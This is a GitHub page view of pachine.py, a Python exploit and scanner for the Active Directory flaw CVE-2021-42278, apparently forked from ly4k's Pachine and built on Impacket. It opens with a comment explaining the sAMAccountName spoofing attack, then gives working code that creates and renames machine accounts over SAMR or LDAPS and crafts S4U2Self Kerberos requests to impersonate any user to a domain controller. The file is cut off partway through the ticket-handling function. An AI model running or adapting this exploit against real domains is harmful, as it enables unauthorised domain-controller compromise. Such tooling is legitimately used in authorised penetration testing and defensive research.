forked from ly4k/Pachine
-
Notifications
You must be signed in to change notification settings - Fork 0
/
pachine.py
1335 lines (1141 loc) · 47.3 KB
/
pachine.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python3
#
# Pachine (CVE-2021-42278)
#
# Authors:
# @ly4k (https://github.com/ly4k)
#
# Credit:
# @cube0x0 (https://github.com/cube0x0)
#
# References:
# - https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
#
# Description:
# CVE-2021-42278 exploit and scanner using standard Impacket
#
# CVE-2021-42278
# During S4U2Self, the KDC will try to append a '$' to the computer name specified
# in the TGT, if the computer name is not found.
# An attacker can create a new machine account with the sAMAccountName set to a domain
# controller's sAMAccountName - without the '$'.
# For instance, suppose there is a domain controller with a sAMAccountName set to
# 'DC$'. An attacker would then create a machine account with the sAMAccountName set
# to 'DC'. The attacker can then request a TGT for the newly created machine account.
# After the TGT has been issued by the KDC, the attacker can rename the newly created
# machine account to something different, e.g. JOHNS-PC. The attacker can then perform
# S4U2Self and request a TGS to itself as any user. Since the machine account with the
# sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine
# account by appending a '$', which will then match the domain controller.
# The KDC will then issue a valid TGS for the domain controller.
#
# This attack can also target other domain computers, and not just domain
# controllers.
import argparse
import datetime
import logging
import os
import random
import ssl
import string
import struct
import sys
from binascii import unhexlify
import ldap3
from impacket import version
from impacket.dcerpc.v5 import epm, samr, transport
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5 import constants, crypto
from impacket.krb5.asn1 import (
AP_REQ,
AS_REP,
PA_FOR_USER_ENC,
TGS_REP,
TGS_REQ,
Authenticator,
EncTGSRepPart,
seq_set,
seq_set_iter,
)
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import _HMACMD5, Key, _enctype_table
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
from impacket.krb5.types import KerberosTime, Principal, Ticket
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
from impacket.winregistry import hexdump
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from six import b
# Used to compare size of TGT's ticket with and without PAC
SCAN_THRESHOLD = 0.5
class MachineAccount:
def __init__(self, username, password, domain, options):
self.options = options
self.username = username
self.password = password
self.domain = domain
self.lmhash = ""
self.nthash = ""
self.hashes = options.hashes
self.aesKey = options.aesKey
self.doKerberos = options.k
self.target = options.dc_host
self.kdcHost = options.dc_host
self.computerPassword = options.computer_pass
self.method = options.method
self.port = options.port
self.domainNetbios = options.domain_netbios
self.targetIp = options.dc_ip
self.baseDN = options.baseDN
self.computerGroup = options.computer_group
self.action = "add"
self.computerName = self.options.dc_host.split(".")[0]
self.newComputerName = self.options.computer_name
if self.newComputerName is None:
self.newComputerName = self.generateComputerName()
if self.targetIp is not None:
self.kdcHost = self.targetIp
if self.method not in ["SAMR", "LDAPS"]:
raise ValueError("Unsupported method %s" % self.method)
if self.doKerberos and options.dc_host is None:
raise ValueError(
"Kerberos auth requires DNS name of the target DC. Use -dc-host."
)
if self.method == "LDAPS" and "." not in self.domain:
logging.warning(
"'%s' doesn't look like a FQDN. Generating baseDN will probably fail."
% self.domain
)
if options.hashes is not None:
self.lmhash, self.nthash = options.hashes.split(":")
if self.computerPassword is None:
self.computerPassword = "".join(
random.choice(string.ascii_letters + string.digits) for _ in range(32)
)
if self.target is None:
if "." not in self.domain:
logging.warning(
"No DC host set and '%s' doesn't look like a FQDN. DNS resolution of short names will probably fail."
% self.domain
)
self.target = self.domain
if self.port is None:
if self.method == "SAMR":
self.port = 445
elif self.method == "LDAPS":
self.port = 636
if self.domainNetbios is None:
self.domainNetbios = self.domain
if self.method == "LDAPS" and self.baseDN is None:
# Create the baseDN
domainParts = self.domain.split(".")
self.baseDN = ""
for i in domainParts:
self.baseDN += "dc=%s," % i
# Remove last ','
self.baseDN = self.baseDN[:-1]
if self.method == "LDAPS" and self.computerGroup is None:
self.computerGroup = "CN=Computers," + self.baseDN
def run_samr(self):
if self.targetIp is not None:
stringBinding = epm.hept_map(
self.targetIp, samr.MSRPC_UUID_SAMR, protocol="ncacn_np"
)
else:
stringBinding = epm.hept_map(
self.target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np"
)
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.set_dport(self.port)
if self.targetIp is not None:
rpctransport.setRemoteHost(self.targetIp)
rpctransport.setRemoteName(self.target)
if hasattr(rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
self.aesKey,
)
rpctransport.set_kerberos(self.doKerberos, self.kdcHost)
self.doSAMRAdd(rpctransport)
def run_ldaps(self):
connectTo = self.target
if self.targetIp is not None:
connectTo = self.targetIp
try:
user = "%s\\%s" % (self.domain, self.username)
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2)
try:
ldapServer = ldap3.Server(
connectTo,
use_ssl=True,
port=self.port,
get_info=ldap3.ALL,
tls=tls,
)
if self.doKerberos:
ldapConn = ldap3.Connection(ldapServer)
self.LDAP3KerberosLogin(
ldapConn,
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
self.aesKey,
kdcHost=self.kdcHost,
)
elif self.hashes is not None:
ldapConn = ldap3.Connection(
ldapServer,
user=user,
password=self.hashes,
authentication=ldap3.NTLM,
)
ldapConn.bind()
else:
ldapConn = ldap3.Connection(
ldapServer,
user=user,
password=self.password,
authentication=ldap3.NTLM,
)
ldapConn.bind()
except ldap3.core.exceptions.LDAPSocketOpenError:
# try tlsv1
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1)
ldapServer = ldap3.Server(
connectTo,
use_ssl=True,
port=self.port,
get_info=ldap3.ALL,
tls=tls,
)
if self.doKerberos:
ldapConn = ldap3.Connection(ldapServer)
self.LDAP3KerberosLogin(
ldapConn,
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
self.aesKey,
kdcHost=self.kdcHost,
)
elif self.hashes is not None:
ldapConn = ldap3.Connection(
ldapServer,
user=user,
password=self.hashes,
authentication=ldap3.NTLM,
)
ldapConn.bind()
else:
ldapConn = ldap3.Connection(
ldapServer,
user=user,
password=self.password,
authentication=ldap3.NTLM,
)
ldapConn.bind()
if self.action == "rename":
if not self.LDAPComputerExists(ldapConn, self.computerName):
raise Exception(
"Account %s not found in %s!" % (self.computerName, self.baseDN)
)
computer = self.LDAPGetComputer(ldapConn, self.computerName)
res = ldapConn.modify(
computer.entry_dn,
{
"sAMAccountName": [
(
ldap3.MODIFY_REPLACE,
[
'"{}"'.format(self.newComputerName).encode(
"utf-16-le"
)
],
)
]
},
)
if not res:
if (
ldapConn.result["result"]
== ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS
):
raise Exception(
"User %s doesn't have right to change name for %s!"
% (self.username, self.computerName)
)
else:
raise Exception(str(ldapConn.result))
else:
logging.info(
"Changed machine account name from %s to %s"
% (self.computerName, self.newComputerName)
)
else:
if self.LDAPComputerExists(ldapConn, self.computerName):
logging.info(
"Machine account %s already exists. Trying to change password."
% self.computerName
)
computer = self.LDAPGetComputer(ldapConn, self.computerName)
res = ldapConn.modify(
computer.entry_dn,
{
"unicodePwd": [
(
ldap3.MODIFY_REPLACE,
[
'"{}"'.format(self.computerPassword).encode(
"utf-16-le"
)
],
)
]
},
)
if not res:
if (
ldapConn.result["result"]
== ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS
):
raise Exception(
"User %s doesn't have right to change password for %s!"
% (self.username, self.computerName)
)
else:
raise Exception(str(ldapConn.result))
else:
logging.info("Changed password for %s." % (self.computerName))
return
computerHostname = self.computerName[:-1]
computerDn = "CN=%s,%s" % (computerHostname, self.computerGroup)
# Default computer SPNs
ucd = {
"dnsHostName": "%s.%s" % (computerHostname, self.domain),
"userAccountControl": 0x1000,
"servicePrincipalName": [],
"sAMAccountName": self.computerName,
"unicodePwd": ('"%s"' % self.computerPassword).encode("utf-16-le"),
}
res = ldapConn.add(
computerDn,
["top", "person", "organizationalPerson", "user", "computer"],
ucd,
)
if not res:
if (
ldapConn.result["result"]
== ldap3.core.results.RESULT_UNWILLING_TO_PERFORM
):
error_code = int(
ldapConn.result["message"].split(":")[0].strip(), 16
)
if error_code == 0x216D:
raise Exception(
"User %s machine quota exceeded!" % self.username
)
else:
raise Exception(str(ldapConn.result))
elif (
ldapConn.result["result"]
== ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS
):
raise Exception(
"User %s doesn't have right to create a machine account!"
% self.username
)
else:
raise Exception(str(ldapConn.result))
else:
logging.info(
"Added machine account %s with password %s."
% (self.computerName, self.computerPassword)
)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.critical(str(e))
def LDAPComputerExists(self, connection, computerName):
connection.search(self.baseDN, "(sAMAccountName=%s)" % computerName)
return len(connection.entries) == 1
def LDAPGetComputer(self, connection, computerName):
connection.search(self.baseDN, "(sAMAccountName=%s)" % computerName)
return connection.entries[0]
def LDAP3KerberosLogin(
self,
connection,
user,
password,
domain="",
lmhash="",
nthash="",
aesKey="",
kdcHost=None,
TGT=None,
TGS=None,
useCache=True,
):
from pyasn1.codec.ber import decoder, encoder
from pyasn1.type.univ import noValue
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises an Exception if error.
"""
if lmhash != "" or nthash != "":
if len(lmhash) % 2:
lmhash = "0" + lmhash
if len(nthash) % 2:
nthash = "0" + nthash
try: # just in case they were converted already
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
except TypeError:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
import datetime
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, TGS_REP, Authenticator, seq_set
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT
from impacket.krb5.types import KerberosTime, Principal, Ticket
if TGT is not None or TGS is not None:
useCache = False
if useCache:
try:
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
except Exception as e:
# No cache present
print(e)
pass
else:
# retrieve domain information from CCache file if needed
if domain == "":
domain = ccache.principal.realm["data"].decode("utf-8")
logging.debug("Domain retrieved from CCache: %s" % domain)
logging.debug("Using Kerberos Cache: %s" % os.getenv("KRB5CCNAME"))
principal = "ldap/%s@%s" % (self.target.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = "krbtgt/%s@%s" % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
logging.debug("Using TGT from cache")
else:
logging.debug("No valid credentials found in cache")
else:
TGS = creds.toTGS(principal)
logging.debug("Using TGS from cache")
# retrieve user information from CCache file if needed
if user == "" and creds is not None:
user = creds["client"].prettyPrint().split(b"@")[0].decode("utf-8")
logging.debug("Username retrieved from CCache: %s" % user)
elif user == "" and len(ccache.principal.components) > 0:
user = ccache.principal.components[0]["data"].decode("utf-8")
logging.debug("Username retrieved from CCache: %s" % user)
# First of all, we need to get a TGT for the user
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName, password, domain, lmhash, nthash, aesKey, kdcHost
)
else:
tgt = TGT["KDC_REP"]
cipher = TGT["cipher"]
sessionKey = TGT["sessionKey"]
if TGS is None:
serverName = Principal(
"ldap/%s" % self.target,
type=constants.PrincipalNameType.NT_SRV_INST.value,
)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
serverName, domain, kdcHost, tgt, cipher, sessionKey
)
else:
tgs = TGS["KDC_REP"]
cipher = TGS["cipher"]
sessionKey = TGS["sessionKey"]
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob["MechTypes"] = [TypesMech["MS KRB5 - Microsoft Kerberos 5"]]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs["ticket"])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = domain
seq_set(authenticator, "cname", userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(
sessionKey, 11, encodedAuthenticator, None
)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
blob["MechToken"] = encoder.encode(apReq)
request = ldap3.operation.bind.bind_operation(
connection.version, ldap3.SASL, user, None, "GSS-SPNEGO", blob.getData()
)
# Done with the Kerberos saga, now let's get into LDAP
if connection.closed: # try to open connection if closed
connection.open(read_server_info=False)
connection.sasl_in_progress = True
response = connection.post_send_single_response(
connection.send("bindRequest", request, None)
)
connection.sasl_in_progress = False
if response[0]["result"] != 0:
raise Exception(response)
connection.bound = True
return True
def generateComputerName(self):
return "DESKTOP-" + (
"".join(
random.choice(string.ascii_uppercase + string.digits) for _ in range(8)
)
+ "$"
)
def doSAMRAdd(self, rpctransport):
dce = rpctransport.get_dce_rpc()
servHandle = None
domainHandle = None
userHandle = None
try:
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samrConnectResponse = samr.hSamrConnect5(
dce,
"\\\\%s\x00" % self.target,
samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN,
)
servHandle = samrConnectResponse["ServerHandle"]
samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle)
domains = samrEnumResponse["Buffer"]["Buffer"]
domainsWithoutBuiltin = list(
filter(lambda x: x["Name"].lower() != "builtin", domains)
)
if len(domainsWithoutBuiltin) > 1:
domain = list(
filter(lambda x: x["Name"].lower() == self.domainNetbios, domains)
)
if len(domain) != 1:
logging.critical(
"This server provides multiple domains and '%s' isn't one of them.",
self.domainNetbios,
)
logging.critical("Available domain(s):")
for domain in domains:
logging.error(" * %s" % domain["Name"])
logging.critical(
"Consider using -domain-netbios argument to specify which one you meant."
)
raise Exception()
else:
selectedDomain = domain[0]["Name"]
else:
selectedDomain = domainsWithoutBuiltin[0]["Name"]
samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(
dce, servHandle, selectedDomain
)
domainSID = samrLookupDomainResponse["DomainId"]
if logging.getLogger().level == logging.DEBUG:
logging.info("Opening domain %s..." % selectedDomain)
samrOpenDomainResponse = samr.hSamrOpenDomain(
dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domainSID
)
domainHandle = samrOpenDomainResponse["DomainHandle"]
if self.action == "rename":
try:
checkForUser = samr.hSamrLookupNamesInDomain(
dce, domainHandle, [self.computerName]
)
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
raise Exception(
"Account %s not found in domain %s!"
% (self.computerName, selectedDomain)
)
else:
raise
userRID = checkForUser["RelativeIds"]["Element"][0]
try:
openUser = samr.hSamrOpenUser(
dce, domainHandle, samr.USER_WRITE_ACCOUNT, userRID
)
userHandle = openUser["UserHandle"]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
raise Exception(
"User %s doesn't have right to change name for %s!"
% (self.username, self.computerName)
)
else:
raise
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserAccountNameInformation
req["AccountName"]["UserName"] = self.newComputerName
samr.hSamrSetInformationUser2(dce, userHandle, req)
logging.info(
"Changed machine account name from %s to %s"
% (self.computerName, self.newComputerName)
)
return
else:
if self.computerName is not None:
try:
checkForUser = samr.hSamrLookupNamesInDomain(
dce, domainHandle, [self.computerName]
)
logging.info(
"Machine account %s already exists. Trying to change password."
% self.computerName
)
userRID = checkForUser["RelativeIds"]["Element"][0]
try:
openUser = samr.hSamrOpenUser(
dce,
domainHandle,
samr.USER_FORCE_PASSWORD_CHANGE,
userRID,
)
userHandle = openUser["UserHandle"]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
raise Exception(
"User %s doesn't have right to change password for %s!"
% (self.username, self.computerName)
)
else:
raise
samr.hSamrSetPasswordInternal4New(
dce, userHandle, self.computerPassword
)
logging.info(
"Changed password of %s to %s."
% (self.computerName, self.computerPassword)
)
return
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
else:
foundUnused = False
while not foundUnused:
self.computerName = self.generateComputerName()
try:
checkForUser = samr.hSamrLookupNamesInDomain(
dce, domainHandle, [self.computerName]
)
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
foundUnused = True
else:
raise
try:
createUser = samr.hSamrCreateUser2InDomain(
dce,
domainHandle,
self.computerName,
samr.USER_WORKSTATION_TRUST_ACCOUNT,
samr.USER_FORCE_PASSWORD_CHANGE,
)
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
raise Exception(
"User %s doesn't have right to create a machine account!"
% self.username
)
elif e.error_code == 0xC00002E7:
raise Exception(
"User %s machine quota exceeded!" % self.username
)
else:
raise
userHandle = createUser["UserHandle"]
samr.hSamrSetPasswordInternal4New(dce, userHandle, self.computerPassword)
checkForUser = samr.hSamrLookupNamesInDomain(
dce, domainHandle, [self.computerName]
)
userRID = checkForUser["RelativeIds"]["Element"][0]
openUser = samr.hSamrOpenUser(
dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID
)
userHandle = openUser["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, userHandle, req)
logging.info(
"Added machine account %s with password %s."
% (self.computerName, self.computerPassword)
)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.critical(str(e))
finally:
if userHandle is not None:
samr.hSamrCloseHandle(dce, userHandle)
if domainHandle is not None:
samr.hSamrCloseHandle(dce, domainHandle)
if servHandle is not None:
samr.hSamrCloseHandle(dce, servHandle)
dce.disconnect()
def rename(self):
self.action = "rename"
self.run()
def add(self):
self.action = "add"
self.run()
def run(self):
if self.method == "SAMR":
self.run_samr()
elif self.method == "LDAPS":
self.run_ldaps()
def saveTicket(ticket, sessionKey, fileName):
logging.info("Saving ticket in %s" % (fileName + ".ccache"))
ccache = CCache()
ccache.fromTGS(ticket, sessionKey, sessionKey)
ccache.saveFile(fileName + ".ccache")
def S4U2Self(tgt, user, domain, spn, impersonate, cipher, sessionKey, kdcHost):
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug("AUTHENTICATOR")
print(authenticator.prettyPrint())
print("\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(
sessionKey, 7, encodedAuthenticator, None
)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value
)
tgsReq["padata"][0]["padata-value"] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(
impersonate,
type=constants.PrincipalNameType.NT_PRINCIPAL.value,
)
S4UByteArray = struct.pack("<I", constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += b(impersonate) + b(domain) + b"Kerberos"
if logging.getLogger().level == logging.DEBUG:
logging.debug("S4UByteArray")
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug("CheckSum")
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, "userName", clientName.components_to_asn1)
paForUserEnc["userRealm"] = domain
paForUserEnc["cksum"] = noValue
paForUserEnc["cksum"]["cksumtype"] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc["cksum"]["checksum"] = checkSum
paForUserEnc["auth-package"] = "Kerberos"
if logging.getLogger().level == logging.DEBUG:
logging.debug("PA_FOR_USER_ENC")
print(paForUserEnc.prettyPrint())
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq["padata"][1] = noValue
tgsReq["padata"][1]["padata-type"] = int(
constants.PreAuthenticationDataTypes.PA_FOR_USER.value
)
tgsReq["padata"][1]["padata-value"] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, "req-body")
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(
reqBody,
"etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)),
)
if logging.getLogger().level == logging.DEBUG:
logging.debug("Final TGS")
print(tgsReq.prettyPrint())
logging.info("Requesting S4U2self")
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
client = Principal()
client.from_asn1(tgs, "crealm", "cname")
server = Principal()
server.from_asn1(tgs["ticket"], "realm", "sname")
logging.info("Got TGS for %s for %s" % (client, server))
cipherText = tgs["enc-part"]["cipher"]
cipher = crypto._enctype_table[tgs["enc-part"]["etype"]]
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, cipherText)
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
# Change encrypted part
server = Principal()
server.from_asn1(encTGSRepPart, "srealm", "sname")
old_sname = str(server)